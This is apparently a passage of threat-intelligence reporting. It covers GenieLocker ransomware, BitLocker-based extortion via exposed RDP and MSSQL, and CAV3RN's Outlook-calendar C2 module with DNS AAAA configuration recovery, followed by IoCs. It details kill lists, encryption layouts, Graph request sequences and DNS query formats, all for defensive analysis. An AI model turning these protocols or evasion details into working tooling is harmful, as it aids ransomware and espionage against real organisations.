During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.
The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.
The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.
Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.
GenieLocker help message
GenieLocker supports multiple arguments for configuring its behavior.
| Argument | Description |
| First argument | “Secret” argument, hex string value |
| -p, –percent N | Percentage of file content to encrypt |
| -r, –recursive | Process directories recursively |
| -l, –log <filename> | Set path for log file |
| -h, –help | Show help message |
| Last argument | Path to encrypt |
GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.
Checking the secret argument
The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.
Secret value hashing
GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.
Environment check
After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.
Watchdog checks
The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.
GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.
$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata
The Trojan also avoids encrypting the following system Windows files.
autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat
The file extensions below are excluded from encryption as well.
386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD
Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.
Output for whitelisted hosts
If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.
sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver
Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.
vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect
Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.
Threads info output
The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:
<filename.fileext>.03ffc1c4a3da0f02.lock<fileext>.03ffc1c4a3da0f02.journalThe lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.
The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.
Journal content
By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.
The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.
The metadata of each encrypted file contains the following fields.
| Value or name | Size (bytes) | Description |
| version | 1 | Hardcoded byte with value 1, most likely the version. |
| encryption_percent | 1 | Percentage of file content to encrypt, value from -p argument. |
| file_nonce | 24 | Nonce used during encryption of the file content. |
| original_filesize | 8 | Original size of the file before encryption. |
| total_chunk_count | 8 | Max count of chunks inside the current file. |
| chunk_size | 4 | Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux). |
| remain_size | 4 | The number of bytes remaining after splitting the file content into chunks. |
| blake2b_digest_of_chunks | 32 | BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks. |
| chunk_count | 4 | Number of chunks that were encrypted. |
| extension | 64 | A string with the additional ransomware extension. |
| poly1305_tags (array) | 16 bytes per chunk | Array of Poly1305 tags of encrypted chunks. |
| bitmask | varies, one bit per each chunk | Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not. |
The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.
Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)
Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.
ESXi version description
The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.
LockBit output design, possibly the source layout for the GenieLocker ESXi variant
Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.
| Argument | Description |
| -p <perc> | Percentage of file content to encrypt |
| -j <workers> | Number of encryption threads |
| -r <dir> | Process directories recursively |
| -w <sec> | Delay before start |
| -d | Daemonizing the process |
| -l <logfile> | Path to log file |
This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.
This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.
Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.
The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.
File encryption summary
According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.
Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.
Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.
Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911
9201E35E2993612612919A3C71302CAB vzdump
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.
This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.
In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.
Drive icon indicating that the drive is locked
A recovery key was required to unlock the drive.
Attempt to access the disk’s contents and the prompt for the BitLocker recovery key
This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.
One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.
Ransomware note
Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.
Attacker’s reply to the victim’s email sent to the address in the printed ransom note
This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.
Exposed ports identified in the system in recent months
The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.
In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.
XEntry team attack
In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.
Commands executed when attempting to manipulate the web server
The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.
The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.
Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.
Attack path
One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.
A subset of the critical information identified and collected by the attackers
In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.
Scanning and RMM deployment
Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.
Commands executed through RMM tools to collect Bitlocker keys
Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.
A few hours later, ransom notes began emerging from office printers.
Ransom note printed by the XEntry team
These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.
“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)
“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)
Our teams continue to monitor these threats.
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
| Subject format | Purpose | Module behavior |
| Event ID: <agent-id> | Operator-to-agent command | Searches for the event, downloads its attachments, and deletes it after consumption |
| Boss update ID: <agent-id>1500 | Agent heartbeat | Deletes the previous heartbeat event and creates a replacement |
| Boss Report ID: <agent-id>1500 | Agent-to-operator command output | Creates an event, uploads encrypted result attachments, and assigns the final subject |
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:
| Attachment name | Direction | Associated subject |
| file0.txt | Operator to agent | Event ID: <agent-id> |
| File0.txt | Agent to operator | Boss Report ID: <agent-id>1500 |
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>
{
"subject": "Boss update ID: <agent-id>1500"
}Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
| Index | Configuration value |
| 0 | TenantId |
| 1 | ClientId |
| 2 | ClientSecret |
| 3 | UserEmail |
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
| Domain | IP | First seen | ASN | Hosting |
| ns1.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns2.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns3.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns4.cloudlanecdn[.]com | 144.172.108[.]205 | May 21, 2026 | AS 14956 | RouterHosting LLC |
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll
cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
